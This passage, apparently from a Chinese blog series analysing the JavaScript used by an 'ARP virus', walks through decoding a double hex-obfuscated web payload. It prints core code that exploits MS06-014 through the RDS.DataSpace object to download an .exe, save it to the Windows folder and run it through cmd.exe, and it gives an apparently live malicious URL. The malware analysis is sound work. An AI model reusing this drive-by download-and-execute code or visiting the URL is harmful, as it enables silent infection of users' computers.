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arp病毒利用的Javascript技术(5) " \x71\x2e\x53\x48\x65\x4c\x4c\x45\x78\x65\x63\x75\x74\x65\x28\x6f\x6b\x31\x2c\'\\\x78\x32\x30\\\x78\x32\x46\\\x78\x36\x33 \'\x2b\x4e\x73\x31\x2c\"\"\x2c\"\\\x78\x36\x46\\\x78\x37\x30\\\x78\x36\x35\\\x78\x36\x45\"\x2c\x30\x29\x3b" +"\n"+ " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+ "\x7d " +"\n"+ " \x63\x61\x74\x63\x68\x28\x4d\x73\x49\x29 \x7b \x4d\x73\x49\x3d\x31\x3b \x7d" +"\n"+ " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+ "\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e" window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](StrInfo);
这个代码有点长哦,而且有保护措施,全部转换为十六进制,不过不要害怕,我们有办法解决,首先得确保你已经安装了UE,然后打开UE,把代码粘贴进去(废话,呵呵),把\x替换为%,然后用html代码转换功能,解码,就可以得到第一次解码的代码,第一次???,呵呵,这个代码的作者很变态的,做了两次编码,所以我得进行两次解码才行,重复刚才的步骤,然后你就可以看到最终的“原始”代码了; 具体的代码我就不帖出来了,有一定的危害性,相信大家看了上面的步骤都能自己找到代码,这里之说一下比较核心的代码吧;
//核心代码 .............. " var Bf=document.createElement(\"\o\b\j\e\c\t\");" +"\n"+ " Bf.setAttribute(\"\c\l\a\s\s\i\d\",\"\c\l\s\i\d\:\B\D\9\6\C\5\5\6\-\6\5\A\3\-\1\1\D\0\-\9\8\3\A\-\0\0\C\0\4\F\C\2\9\E\3\6\");" +"\n"+ " var Kx=Bf.CreateObject(\"\M\i\c\r\o\s\o\f\t\.\X\"+\"\M\L\H\T\T\P\",\"\");" +"\n"+ " var AS=Bf.CreateObject(\"\A\d\o\d\b\.\S\t\r\e\a\m\",\"\");" +"\n"+ ............. " var cF=Bf.CreateObject(\"\S\c\r\i\p\t\i\n\g\.\F\i\l\e\S\y\s\t\e\m\O\b\j\e\c\t\",\"\");" +"\n"+ " var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open();AS.Write(Kx.responseBody);" +"\n"+ " AS.SaveToFile(Ns1,2); AS.Close(); var q=Bf.CreateObject(\"\S\h\e\l\l\.\A\p\p\l\i\c\a\t\i\o\n\",\"\");" +"\n"+ " ok1=cF.BuildPath(NsTmp+\'\\\\\s\y\s\t\e\m\3\2\',\'\c\m\d\.\e\x\e\');" +"\n"+ " q.SHeLLExecute(ok1,\'\ \/\c \'+Ns1,\"\",\"\o\p\e\n\",0);" +"\n"+ ..............
上面的就是最为核心的代码,利用MS0614漏洞、创建JS异步对象获取病毒(*.exe)文件,然后运行,这样就达到它的目的啦!
3、打开 http://9-6.IN/s368/T368.htm 查看源代码,又发现一段怪异的JS文件,如下:
<script>
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